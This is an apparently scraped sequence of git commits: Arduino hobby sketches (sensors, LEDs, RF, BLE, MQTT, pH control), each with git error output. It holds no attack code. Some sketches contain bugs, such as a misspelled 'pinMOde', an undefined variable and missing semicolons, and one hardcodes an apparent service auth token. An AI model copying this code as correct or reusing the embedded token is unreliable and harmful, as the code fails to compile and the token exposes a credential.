+  //lcd.write(0x41);
+  //lcd.write(0xFE);
+  //lcd.write(0x51);
+  Serial2.write(0xFE);
+  Serial2.write(0x41);
+  Serial2.write(0xFE);
+  Serial2.write(0x51);
+}
+
+void LCDsetContrast(int contrast){
+  if(contrast >50){
+    return;
+  }
+  //lcd.write(0xFE);
+  //lcd.write(0x52);
+  //lcd.write(contrast);
+  Serial2.write(0xFE);
+  Serial2.write(0x52);
+  Serial2.write(contrast);
+}
+
+void LCDsetBrightness(int level){
+  if(level > 8){
+    return;
+  }
+  //lcd.write(0xFE);
+  Serial2.write(0xFE);
+  //lcd.write(0x53);
+  Serial2.write(0x53);
+  //lcd.write(level);
+  Serial2.write(level);
+}
+
+void LCDsetCursor(int line_num, int x){
+  int g_index[4] = {
+    0x00, 0x40, 0x14, 0x54           };
+  //lcd.write(0xFE);
+  Serial2.write(0xFE);
+  //lcd.write(0x45);
+  Serial2.write(0x45);
+  //lcd.write(g_index[line_num-1] + x - 1);
+  Serial2.write(g_index[line_num-1] + x -1);
+}
+
+void LCDclear(){
+  //lcd.write(0xFE);
+  //lcd.write(0x51);
+  Serial2.write(0xFE);
+  Serial2.write(0x51);
+}
+


SwSerial.ino edited online with Bitbucket

--- examples/Transports/Advanced/SwSerial/SwSerial.ino
+++ examples/Transports/Advanced/SwSerial/SwSerial.ino
@@ -10,8 +10,8 @@

 void setup()
 {
-  Serial.begin(9600);
-  Blynk.begin("00000000000000000000000000000000", 9600);
+  Serial.begin(9600);
+  Blynk.begin("YourAuthToken", 9600); // You can get Auth Token in the Blynk App. Go to the Project Settings (nut icon).
 }

 void loop()


worked with greg to build a functional demo

error: pathspec 'rgbmois.ino' did not match any file(s) known to git

--- rgbmois.ino
+++ rgbmois.ino
@@ -0,0 +1,137 @@
+#include <Adafruit_NeoPixel.h>
+#include <stdint.h>
+
+////////////////////////////////////////////////////
+//for the soil moistures sensor
+uint32_t s_sig_a = A0;
+uint32_t s_sig_b = A2;
+uint32_t soil_sense = A1;
+
+
+//thanks, adafruit!
+
+uint32_t max_dry = 600;
+uint32_t medium_dry = 300;
+uint32_t medium_wet = 100;
+uint32_t very_wet = 0;
+
+int r_value;
+int g_value;
+int b_value;
+
+uint32_t reading;
+
+
+#define PIN 6
+// Parameter 1 = number of pixels in strip
+// Parameter 2 = Arduino pin number (most are valid)
+// Parameter 3 = pixel type flags, add together as needed:
+//   NEO_KHZ800  800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
+//   NEO_KHZ400  400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
+//   NEO_GRB     Pixels are wired for GRB bitstream (most NeoPixel products)
+//   NEO_RGB     Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
+Adafruit_NeoPixel strip = Adafruit_NeoPixel(1, PIN, NEO_RGB + NEO_KHZ400);
+
+
+void setup() {
+  Serial.begin(115200);
+  strip.begin();
+  strip.show(); // Initialize all pixels to 'off'
+}
+
+void loop() {
+  // Some example procedures showing how to display to the pixels:
+  //color(strip.Color(255, 0, 0), 50); // blue
+  //color(strip.Color(0, 255, 0), 50); // red
+  //color(strip.Color(0, 0, 255), 50); // green
+  Serial.println(soil_moisture());
+  /*
+  if (soil_moisture() >=450){color(strip.Color(0,255,0), 50);} // red -- dry
+  else if (soil_moisture() <450 && soil_moisture() >=400) {  color(strip.Color(0,255,50), 50); // orange -- pretty dry
+  else if (soil_moisture() <400 && soil_moisture() >=350) {  color(strip.Color(0,255,150), 50); // yellow -- not too dry
+  else if (soil_moisture() <350 && soil_moisture() >300) {  color(strip.Color(0,255,255), 50); // light green -- pretty good
+  else if (soil_moisture() <=300 && soil_moisture() >200) {color(strip.Color(0,0,255), 50);} // green good
+  else if (soil_moisture() >150 && soil_moisture() <=200) {color(strip.Color(155,0,255), 50);} //a little wet-- light green/blue
+  else if (soil_moisture() >100 && soil_moisture() <=150) {color(strip.Color(255,0,255), 50);} //a little too wet -- turquise
+  else if (soil_moisture() >50 && soil_moisture() <=100) {color(strip.Color(255,0,0), 50);} //blue -- too wet
+  else if (soil_moisture() <=50) {color(strip.Color(255,255,0), 10);} //purple -- soaking*
+*/
+
+
+reading = soil_moisture();
+Serial.println(reading);
+if ( reading > max_dry) {
+  r_value =  255;
+  g_value =  0;
+  b_value =  0; // no blue in the dry region
+} else if  ( reading > medium_dry ) {
+  r_value =  0  + 255*(reading - medium_dry)/(max_dry - medium_dry);
+  g_value =  255 - 255*(reading - medium_dry)/(max_dry - medium_dry);
+  b_value =  0; // no blue in the dry region
+} else if ( medium_dry > reading && reading > medium_wet ){
+  r_value =  0; // no red in the wet region
+  g_value =  255 - 255*(medium_dry - reading)/(medium_dry - medium_wet);
+  b_value =  0  + 255*(medium_dry - reading)/(medium_dry - medium_wet);
+} else if ( medium_wet > reading && reading >= very_wet)  {
+  r_value =  0  + 255*(medium_wet - reading)/(medium_wet - very_wet);
+  g_value =  0; // no green in the very_wet region
+  b_value =  255; // for style keep blue, just add purple
+}
+color(strip.Color(b_value, r_value, g_value),10);
+//green in the middle
+//subtract from green add to red
+//subtract from blue add to green
+//add red to blue
+
+ }
+
+
+
+// Fill the dots one after the other with a color
+void color(uint32_t c, uint8_t wait) {
+  for(uint16_t i=0; i<strip.numPixels(); i++) {
+      strip.setPixelColor(i, c);
+      strip.show();
+      delay(wait);
+  }
+}
+
+
+// Input a value 0 to 255 to get a color value.
+// The colours are a transition r - g - b - back to r.
+uint32_t Wheel(byte WheelPos) {
+  if(WheelPos < 85) {
+   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
+  } else if(WheelPos < 170) {
+   WheelPos -= 85;
+   return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
+  } else {
+   WheelPos -= 170;
+   return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
+  }
+}
+
+uint32_t soil_moisture() {
+
+pinMode(s_sig_a, OUTPUT);
+digitalWrite(s_sig_a, LOW);
+pinMode(soil_sense, OUTPUT);
+digitalWrite(soil_sense, LOW);
+pinMode(s_sig_a, OUTPUT);
+digitalWrite(s_sig_b, LOW);
+delay(10); //200
+//next we make the voltage divider
+pinMode(soil_sense, INPUT); //reads the voltage divider
+// A0 and A4 to outputs
+pinMode(s_sig_a, OUTPUT);
+digitalWrite(s_sig_a,HIGH);
+pinMode(s_sig_b, OUTPUT);
+digitalWrite(s_sig_b,LOW);
+//finally we poll for voltage reading
+delay(25); //was 500
+return(analogRead(soil_sense));
+
+}
+
+
+


add TemplateSketch.ino example

add TemplateSketch.ino example

error: pathspec 'examples/TemplateSketch/TemplateSketch.ino' did not match any file(s) known to git

--- examples/TemplateSketch/TemplateSketch.ino
+++ examples/TemplateSketch/TemplateSketch.ino
@@ -0,0 +1,64 @@
+#include <DcsBios.h>
+#include <Servo.h>
+
+/**** Make your changes after this line ****/
+
+
+/**** In most cases, you do not have to change anything below this line ****/
+
+/* Instantiate a ProtocolParser object to parse the DCS-BIOS export stream */
+DcsBios::ProtocolParser parser;
+
+void setup() {
+  Serial.begin(500000);
+}
+
+/*
+Your main loop needs to pass data from the DCS-BIOS export
+stream to the parser object you instantiated above.
+
+It also needs to call DcsBios::PollingInput::pollInputs()
+to detect changes in the state of connected controls and
+pass them on to DCS.
+*/
+void loop() {
+  // feed incoming data to the parser
+  while (Serial.available()) {
+      parser.processChar(Serial.read());
+  }
+
+  // poll inputs
+  DcsBios::PollingInput::pollInputs();
+}
+
+/*
+You need to define
+void sendDcsBiosMessage(const char* msg, const char* arg)
+so that the string msg, followed by a space, the string arg
+and a newline gets sent to the DCS-BIOS import stream.
+
+In this example we send it to the serial port, so you need to
+run socat to read the data from the serial port and send it
+over UDP to DCS-BIOS.
+
+If you are using an Ethernet Shield, you would probably want
+to send a UDP packet from this subroutine.
+*/
+void sendDcsBiosMessage(const char* msg, const char* arg) {
+  Serial.write(msg);
+  Serial.write(' ');
+  Serial.write(arg);
+  Serial.write('\n');
+}
+
+/*
+This subroutine gets called every time a message is received
+from the export stream (you need to define it even if it
+does nothing).
+
+Use this to handle outputs which are not covered by the
+DcsBios Arduino library (e.g. displays).
+*/
+void onDcsBiosMessage(const char* msg, const char* arg) {
+
+}


Create PP_G3099b0302.ino

Create PP_G3099b0302.ino

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'with' did not match any file(s) known to git
error: pathspec 'cc3000wifi' did not match any file(s) known to git
error: pathspec 'based/G3_module/PP_G3099b0302.ino' did not match any file(s) known to git


rduino part

rduino part

error: pathspec 'HomeBot.Arduino/Sensors/Motion/Motion.ino' did not match any file(s) known to git

--- HomeBot.Arduino/Sensors/Motion/Motion.ino
+++ HomeBot.Arduino/Sensors/Motion/Motion.ino
@@ -0,0 +1,65 @@
+#include <JeeLib.h>
+#include <RCSwitch.h> // https://code.google.com/p/rc-switch/
+#include <PinChangeInt.h>
+
+RCSwitch rf = RCSwitch();
+ISR(WDT_vect) {Sleepy::watchdogEvent();}  // Setup for low power waiting
+
+int calibrationTime = 10;        //the time we give the sensor to calibrate (10-60 secs according to the datasheet)
+int rfPacketsToSend = 10;
+
+// Pins
+int PIR = 2;
+int LED = 13;
+int RFTX = 9;   // Transmitter is connected to Arduino Pin #10
+
+int rfAlertCode = 666; // code send when motion detected
+
+void setup() {
+  Serial.begin(9600);
+  pinMode(PIR, INPUT);
+  pinMode(LED, OUTPUT);
+  rf.enableTransmit(RFTX);
+
+  PRR = bit(PRTIM1);                           // only keep timer 0 going
+  ADCSRA &= ~ bit(ADEN); bitSet(PRR, PRADC);   // Disable the ADC to save power
+  PCintPort::attachInterrupt(PIR, wakeUp, CHANGE);
+
+  CalibratePirSensor();  //give the sensor some time to calibrate
+}
+
+void loop() {
+  int ll = HIGH;
+  delay(100);
+  Serial.println("Motion detected");
+  for (int i = 0; i < rfPacketsToSend; i++)
+  {
+    Serial.print(".");
+    rf.send(rfAlertCode, 24);
+    digitalWrite(LED, ll);
+    ll = ll == HIGH ? LOW : HIGH;
+  }
+
+  Serial.println("");
+
+  Sleepy::powerDown();
+}
+
+void wakeUp() {}
+
+void CalibratePirSensor()
+{
+  int ll = HIGH;
+  Serial.println("Calibrating PIR sensor ");
+  for (int i = 0; i < calibrationTime; i++) {
+    Serial.print(".");
+    delay(1000);
+    digitalWrite(LED, ll);
+    ll = ll == HIGH ? LOW : HIGH;
+  }
+  Serial.println("");
+  Serial.println("Sensor active");
+  digitalWrite(LED, LOW);
+  delay(50);
+}
+


re-adding example

re-adding example

error: pathspec 'firmware/examples/tentacle-particle/tentacle-particle.ino' did not match any file(s) known to git

--- firmware/examples/tentacle-particle/tentacle-particle.ino
+++ firmware/examples/tentacle-particle/tentacle-particle.ino
@@ -0,0 +1,87 @@
+// This #include statement was automatically added by the Spark IDE.
+#include "tentacle-particle/tentacle-particle.h"
+
+#define server "tentacle.octoblu.com"
+#define port 80
+
+// IPAddress server(192,168,100,9);
+// #define port 8111
+
+static const char uuid[]  = "91f33395-847a-4d71-af25-fd3abe3371bc";
+static const char token[] = "24fefe99413b16283f41c7cf8c82d376211392f7";
+
+TCPClient conn;
+
+TentacleArduino tentacle;
+Pseudopod pseudopod(conn, conn, tentacle);
+
+uint32_t lastPing = 0;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(F("The Day of the Tentacle has begun!"));
+  connectToServer();
+}
+
+void loop() {
+  if (!isConnected()) {
+    conn.stop();
+    connectToServer();
+  }
+
+  readData();
+
+  if(pseudopod.shouldBroadcastPins() ) {
+    delay(pseudopod.getBroadcastInterval());
+    size_t configSize = pseudopod.sendConfiguredPins();
+    Serial.print(configSize);
+    Serial.print(F(" bytes written while broadcasting pins"));
+  }
+
+}
+
+bool isConnected() {
+  if(!conn.connected()) {
+    return false;
+  }
+
+  //send keepalive every 5 seconds.
+  if( (millis() - lastPing) > 5000) {
+    Serial.println(F("Pinging the server"));
+    Serial.flush();
+    lastPing = millis();
+    return pseudopod.isConnected();
+
+  }
+
+  return true;
+}
+
+void readData() {
+  while (conn.available()) {
+    Serial.println(F("Received message"));
+    Serial.flush();
+
+    if(pseudopod.readMessage() == TentacleMessageTopic_action) {
+      Serial.println(F("Got an action message"));
+      pseudopod.sendPins();
+    }
+  }
+}
+
+void connectToServer() {
+  int connectionAttempts = 0;
+  Serial.println(F("Connecting to the server."));
+  Serial.flush();
+
+  while(!conn.connect(server, port)) {
+    Serial.println(F("Can't connect to the server."));
+    Serial.flush();
+    conn.stop();
+    connectionAttempts++;
+  }
+
+  size_t authSize = pseudopod.authenticate(uuid, token);
+  Serial.print(authSize);
+  Serial.println(F(" bytes written for authentication"));
+}


updated shell.ini comments

updated shell.ini comments

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/u-fire/ECSalinity.git/'


Arduino Code

Arduino Code

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'Code/nrf24_multipro/nRF24_multipro/nRF24_multipro.ino' did not match any file(s) known to git


cat adem 4

cat adem 4

serial number

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/SynerconTechnologies/SmartSensorSimulator.git/'


Wrote code to send 0x00 on Xbee serial if button is pressed and debounced

error: pathspec 'XbeeButton/XbeeButton.ino' did not match any file(s) known to git

--- XbeeButton/XbeeButton.ino
+++ XbeeButton/XbeeButton.ino
@@ -0,0 +1,33 @@
+#include <Xbee.h>
+#include "XbeeApiStream.h"
+
+const int button_pin = 5;
+
+unsigned long debounce_timestamp = 0, debounce_delay = 50;
+int button_state = LOW, last_button_state = LOW;
+
+XbeeApiStream xbeeStream = XbeeApiStream();
+
+void setup() {
+	Serial.begin(9600);
+	xbeeStream.begin(Serial);
+	pinMode(button_pin, INPUT);
+	digitalWrite(button_pin, HIGH);
+	pinMOde(LED_BUILTIN, OUTPUT);
+	digitalWrite(LED_BUILTIN, !state_paused);
+}
+
+void loop() {
+	int reading = digitalRead(button_pin);
+	if(reading != last_button_state)	debounce_timestamp = millis();
+	if(millis() - debounce_timestamp > debounce_delay){
+		if(reading != button_state){
+			button_state = reading;
+			if(button_state == HIGH){
+				digitalWrite(LED_BUILTIN, !digitalRead(LED_BUILTIN));
+				xbeeStream.write(0x00);
+			}
+		}
+	}
+	last_button_state = reading;
+}


Adding initial firmware.

Adding initial firmware.

error: pathspec 'firmware/TLCserial.ino' did not match any file(s) known to git

--- firmware/TLCserial.ino
+++ firmware/TLCserial.ino
@@ -0,0 +1,82 @@
+#include <DMXSerial.h>
+
+/*
+    Basic Pin setup:
+    ------------                                  ---u----
+    ARDUINO   13|-> SCLK (pin 25)           OUT1 |1     28| OUT channel 0
+              12|                           OUT2 |2     27|-> GND (VPRG)
+              11|-> SIN (pin 26)            OUT3 |3     26|-> SIN (pin 11)
+              10|-> BLANK (pin 23)          OUT4 |4     25|-> SCLK (pin 13)
+               9|-> XLAT (pin 24)             .  |5     24|-> XLAT (pin 9)
+               8|                             .  |6     23|-> BLANK (pin 10)
+               7|                             .  |7     22|-> GND
+               6|                             .  |8     21|-> VCC (+5V)
+               5|                             .  |9     20|-> 2K Resistor -> GND
+               4|                             .  |10    19|-> +5V (DCPRG)
+               3|-> GSCLK (pin 18)            .  |11    18|-> GSCLK (pin 3)
+               2|                             .  |12    17|-> SOUT
+               1|                             .  |13    16|-> XERR
+               0|                           OUT14|14    15| OUT channel 15
+    ------------                                  --------
+
+    -  Put the longer leg (anode) of the LEDs in the +5V and the shorter leg
+         (cathode) in OUT(0-15).
+    -  +5V from Arduino -> TLC pin 21 and 19     (VCC and DCPRG)
+    -  GND from Arduino -> TLC pin 22 and 27     (GND and VPRG)
+    -  digital 3        -> TLC pin 18            (GSCLK)
+    -  digital 9        -> TLC pin 24            (XLAT)
+    -  digital 10       -> TLC pin 23            (BLANK)
+    -  digital 11       -> TLC pin 26            (SIN)
+    -  digital 13       -> TLC pin 25            (SCLK)
+    -  The 2K resistor between TLC pin 20 and GND will let ~20mA through each
+       LED.  To be precise, it's I = 39.06 / R (in ohms).  This doesn't depend
+       on the LED driving voltage.
+    - (Optional): put a pull-up resistor (~10k) between +5V and BLANK so that
+                  all the LEDs will turn off when the Arduino is reset.
+
+    If you are daisy-chaining more than one TLC, connect the SOUT of the first
+    TLC to the SIN of the next.  All the other pins should just be connected
+    together:
+        BLANK on Arduino -> BLANK of TLC1 -> BLANK of TLC2 -> ...
+        XLAT on Arduino  -> XLAT of TLC1  -> XLAT of TLC2  -> ...
+    The one exception is that each TLC needs it's own resistor between pin 20
+    and GND.
+
+    This library uses the PWM output ability of digital pins 3, 9, 10, and 11.
+    Do not use analogWrite(...) on these pins.
+
+    This sketch does the Knight Rider strobe across a line of LEDs.
+
+    Alex Leone <acleone ~AT~ gmail.com>, 2009-02-03 */
+
+#include "Tlc5940.h"
+
+static int bright[3] = {0, 1224, 2650};
+
+void setup()
+{
+  /* Call Tlc.init() to setup the tlc.
+     You can optionally pass an initial PWM value (0 - 4095) for all channels.*/
+  Tlc.init();
+  Tlc.set(0, 4095);
+  digitalWrite(2, LOW);
+  pinMode(2, OUTPUT);
+  DMXSerial.init(DMXReceiver);
+  Tlc.set(1, 4095);
+  delay(500);
+  Tlc.set(2, 4095);
+}
+
+/* This loop will create a Knight Rider-like effect if you have LEDs plugged
+   into all the TLC outputs.  NUM_TLCS is defined in "tlc_config.h" in the
+   library folder.  After editing tlc_config.h for your setup, delete the
+   Tlc5940.o file to save the changes. */
+
+void loop()
+{
+  for (int i = 0; i < 48; i++) {
+    Tlc.set(i, DMXSerial.read(i+1) << 4);
+  }
+  Tlc.update();
+}
+


initial ble impl, incomplete

initial ble impl, incomplete

error: pathspec 'src/main/arduino/temploggerBLE/temploggerBLE.ino' did not match any file(s) known to git

--- src/main/arduino/temploggerBLE/temploggerBLE.ino
+++ src/main/arduino/temploggerBLE/temploggerBLE.ino
@@ -0,0 +1,123 @@
+#include <SPI.h>
+#include <SD.h>
+//#include <stdlib.h>
+#include <RFduinoBLE.h>
+#include <Wire.h>
+#include <RTC_DS3231.h>
+
+#include <OneWire.h> // http://forum.rfduino.com/index.php?topic=103.msg261#msg261
+
+// Wire.beginOnPins(2, 3); // Starts the I2C interface with SCL on GPIO 2 and SDA on GPIO 3
+
+#define LOGGING_FREQ_SECONDS   300
+
+#define RTC_POWER_PIN          2u
+RTC_DS3231 RTC;
+
+#define TEMP_SIGNAL_PIN        6u
+OneWire ds(TEMP_SIGNAL_PIN);
+
+void setup() {
+
+  RFduinoBLE.deviceName = "Hood-CS475";
+  RFduinoBLE.advertisementData = "data";
+  RFduinoBLE.advertisementInterval = 1000; // 1s
+  RFduinoBLE.txPowerLevel = -20;
+  RFduinoBLE.begin();
+
+  Wire.beginOnPins(1u, 0u);
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+
+
+  if (!RFduinoBLE.radioActive) {
+    RFduino_ULPDelay(SECONDS(LOGGING_FREQ_SECONDS));
+  }
+}
+
+void RFduinoBLE_onConnect(){
+// Insert code
+}
+
+void RFduinoBLE_onDisconnect(){
+// Insert code here
+}
+
+void RFduinoBLE_onReceive(char *data, int len){
+  uint8_t myByte = data[0]; // store first char in array to myByte
+  Serial.println(myByte); // print myByte via serial
+
+  // GetStationIdentifier
+  if (strcmp(data, "GetStationIdentifer") == 0) {
+    getStationIdentifer()
+  }
+  // GetAllObservations
+  else if (strcmp(data, "GetAllObservations") == 0) {
+    getAllObservations()
+  }
+  // GetSystemState
+  else if (strcmp(data, "GetSystemState") == 0) {
+    getSystemState()
+  }
+}
+
+void getStationIdentifer() {
+  // RFduinoBLE.send(const char *data, int len);
+
+}
+
+void getAllObservations() {
+
+}
+
+void getSystemState() {
+
+}
+
+float getTemp() { //returns the temperature from one DS18S20 in DEG Celsius
+
+  byte data[12];
+  byte addr[8];
+
+  if (!ds.search(addr)) {
+    //no more sensors on chain, reset search
+    ds.reset_search();
+    return -1000;
+  }
+
+  if (OneWire::crc8(addr, 7) != addr[7]) {
+    Serial.println("CRC is not valid!");
+    return -1000;
+  }
+
+  if (addr[0] != 0x10 && addr[0] != 0x28) {
+    Serial.print("Device is not recognized");
+    return -1000;
+  }
+
+  ds.reset();
+  ds.select(addr);
+  ds.write(0x44, 1); // start conversion, with parasite power on at the end
+
+  delay(750); // required wait time for parasitic power
+
+  byte present = ds.reset();
+  ds.select(addr);
+  ds.write(0xBE); // Read Scratchpad
+
+  for (int i = 0; i < 9; i++) { // we need 9 bytes
+    data[i] = ds.read();
+  }
+
+  ds.reset_search();
+
+  byte MSB = data[1];
+  byte LSB = data[0];
+
+  float tempRead = ((MSB << 8) | LSB); //using two's compliment
+  float temperatureSum = tempRead / 16;
+
+  return temperatureSum;
+}


deleted the GUI, change a bit

deleted the GUI, change a bit

error: pathspec 'PH_final_code/PH_final_code.ino' did not match any file(s) known to git

--- PH_final_code/PH_final_code.ino
+++ PH_final_code/PH_final_code.ino
@@ -0,0 +1,136 @@
+
+#define outputPIN P1_5
+#define inPIN P1_4
+#define basePIN P2_1
+#define acidPIN P2_2
+
+
+unsigned long int timeSend = 0;
+unsigned long int timeSinceMotorRun = 1000000;
+boolean shutDown = false;
+boolean motorRunning = false;
+int PHtarget = 1200;      // will be updated by interface
+int PHmargin = 50;        //
+int output = 0;
+int input = 0;
+
+
+void setup()
+{
+  Serial.begin(9600);
+  Serial.setTimeout(50);
+  pinMode(outputPIN, INPUT);
+  pinMode(inPIN, INPUT);
+  pinMode(basePIN, OUTPUT);
+  pinMode(acidPIN, OUTPUT);
+  digitalWrite(basePIN, LOW);
+  digitalWrite(acidPIN, LOW);
+}
+
+void loop()
+{
+
+  if(millis() - timeSend > 1000)  // function to run every 0.25s
+  {
+  // read the input on analog pin P1.5:
+  output = analogRead(outputPIN)*2.9;  // this include a gain of 11
+  input = analogRead(inPIN)*2.9;
+
+  // print out the value we have read to the interface:
+  Serial.print("PHoutputex:");
+  Serial.print(output);
+  Serial.print("\r\n");
+  Serial.print("PHinputes:");
+  Serial.print(input);
+  Serial.print("\r\n");
+  Serial.print("PHtarget:");
+  Serial.print(PHtarget);
+  Serial.print("\r\n");
+
+  PHmaintain();  // activate motors if required;
+
+  timeSend = millis();
+  }
+
+  PHcommandListen();  // listen for commands NOTE; THIS SECTION MUST BE COMBINED WITH OTHER SUBSYSTEMS
+
+
+
+}
+
+  void PHmaintain(){
+
+   int difference = PHtarget - output;
+   Serial.print("difference:");
+   Serial.println(difference);
+
+   if(motorRunning && (millis() - timeSinceMotorRun > 2000))  // if we've been running the motor for more than 2s
+   {
+     digitalWrite(basePIN, LOW);
+     digitalWrite(acidPIN, LOW);
+     // turn both motors off
+     motorRunning = false;
+     Serial.println("Shutting motor down");
+   }
+
+   if(abs(difference) > PHmargin)  // if the PH is outside the margin
+   {
+     Serial.println("PH outside margin");
+
+     if(difference > 0 && (millis() - timeSinceMotorRun) > 5000)  // if solution is too acidic and we havn't run a motor for 10s
+     {
+      if(!shutDown){  // if we havn't shut the motors down.
+         timeSinceMotorRun = millis();
+         motorRunning = true;
+         digitalWrite(basePIN, HIGH);  // run base motor
+         Serial.println("Runnng base motor");
+       }
+     }
+
+     if(difference < 0 && (millis() - timeSinceMotorRun) > 5000)  // if solution is too alkalie and we havn't run a motor for 10s
+     {
+       if(!shutDown){  // if we havn't shut the motors down.
+         timeSinceMotorRun = millis();
+         motorRunning = true;
+          digitalWrite(acidPIN, HIGH); // run acid motor;
+          Serial.println("Runnng acid motor");
+       }
+     }
+   }
+
+  }
+
+  void PHcommandListen()  // listen and reactor to commands from the interface
+  {
+
+       while (Serial.available() > 0) {
+
+         String inString = Serial.readString();
+         inString.trim();
+         Serial.println(inString);  //DEBUG ONLY
+
+         if(inString.equals("S")){
+         Serial.println("PH is in shutdown");
+         shutDown = true;
+             digitalWrite(basePIN, LOW);
+             digitalWrite(acidPIN, LOW);
+             // turn both motors off
+             motorRunning = false;
+         }
+         if(inString.equals("XS")){
+         Serial.println("PH has resumed");
+         shutDown = false;
+         }
+         if((inString.substring(0,11)).equals("PHcommanded"))  // if we see a command
+         {
+           PHtarget = inString.substring(12).toInt();  // change the target PH
+         }
+         }
+
+
+  }
+
+
+
+
+


Added hvac monitor arduino

Added hvac monitor arduino

error: pathspec 'Arduino/HvacMonitor/HvacMonitor.ino' did not match any file(s) known to git

--- Arduino/HvacMonitor/HvacMonitor.ino
+++ Arduino/HvacMonitor/HvacMonitor.ino
@@ -0,0 +1,133 @@
+#include <OneWire.h>
+#include <PubSubClient.h>
+#include <ESP8266WiFi.h>
+
+// Add missing definitions for WIFI and mq information here
+#include "config.h"
+#define SECONDS_DS(seconds)  ((seconds)*1000000UL)
+#define AMOUNT_SENSORS 20
+const char* mqtt_server = SERVERADDRESS;
+int numSensors = AMOUNT_SENSORS;
+float  sensorValues[AMOUNT_SENSORS];
+byte* sendsensors[8];
+int sendSensors = 0;
+OneWire  ds(ONEWIREPIN);
+
+
+WiFiClient espClient;
+PubSubClient client(espClient);
+
+void setup_wifi() {
+  WiFi.begin(WIFIHOTSPOT, WIFIKEY);
+  client.setServer(mqtt_server, 1883);
+}
+
+
+void setup() {
+  byte addr[8];
+
+  //Serial.begin(9600);
+  Serial.println("Starting search now");
+  while (ds.search(addr)) {
+    Serial.println("Found Sensor.. Addindg it");
+    byte *byteArray;
+    byteArray = (byte*) malloc (8 * sizeof(byte));
+    memcpy(byteArray, addr, 8);
+    sendsensors[sendSensors] = byteArray;
+    sendSensors++;
+    Serial.print("Address:");
+    Serial.write(addr, 8);
+    Serial.println("");
+  }
+  Serial.println("setup wifi");
+  setup_wifi();
+  Serial.print("init done");
+}
+
+void readAllSensorsData() {
+  byte data[12];
+  byte present = 0;
+  byte type_s = 0;
+  byte first;
+  char msg[30];
+  char str_temperature[10];
+
+  for (int i = 0; i < sendSensors; i++) {
+
+    Serial.print("Iterating one sensor");
+    ds.reset();
+    ds.select(sendsensors[i]);
+    ds.write(0x44, 1);
+    //wait for conversion ready
+    delay(1000);
+    present = ds.reset();
+    ds.select(sendsensors[i]);
+    ds.write(0xBE);
+    Serial.print("P=");
+    Serial.print(present, HEX);
+    Serial.print(" ");
+    for (int j = 0; j < 9; j++) {           // we need 9 bytes
+      data[j] = ds.read();
+      Serial.print(data[j], HEX);
+      Serial.print(" ");
+    }
+    Serial.print(" CRC=");
+    Serial.print( OneWire::crc8( data, 8), HEX);
+    Serial.println();
+    int16_t raw = (data[1] << 8) | data[0];
+    if (type_s) {
+      raw = raw << 3; // 9 bit resolution default
+      if (data[7] == 0x10) {
+        // "count remain" gives full 12 bit resolution
+        raw = (raw & 0xFFF0) + 12 - data[6];
+      }
+    } else {
+      byte cfg = (data[4] & 0x60);
+      // at lower res, the low bits are undefined, so let's zero them
+      if (cfg == 0x00) raw = raw & ~7;  // 9 bit resolution, 93.75 ms
+      else if (cfg == 0x20) raw = raw & ~3; // 10 bit res, 187.5 ms
+      else if (cfg == 0x40) raw = raw & ~1; // 11 bit res, 375 ms
+      //// default is 12 bit resolution, 750 ms conversion time
+    }
+
+    float   celsius = (float)raw / 16.0;
+    float  fahrenheit = celsius * 1.8 + 32.0;
+    Serial.print("  Temperature = ");
+    Serial.print(celsius);
+    Serial.print(" Celsius, ");
+    Serial.print(fahrenheit);
+    Serial.println(" Fahrenheit");
+    dtostrf(celsius, 1, 2, str_temperature);
+    snprintf (msg, 30, "%d,%s",i,str_temperature);
+    client.publish("HVACData", msg);
+
+  }
+
+
+}
+
+void reconnect() {
+  while (!client.connected()) {
+    String clientId = "ESP8266Client-";
+    clientId += String(random(0xffff), HEX);
+    // Attempt to connect
+    if (client.connect(clientId.c_str())) {
+      //good connection just spew the data and continue
+    readAllSensorsData();
+    delay(3000);
+    ESP.deepSleep(SECONDS_DS(55));
+    } else {
+      delay(2000);
+    }
+  }
+}
+
+
+void loop() {
+  if (!client.connected()) {
+    reconnect();
+  }
+
+
+
+}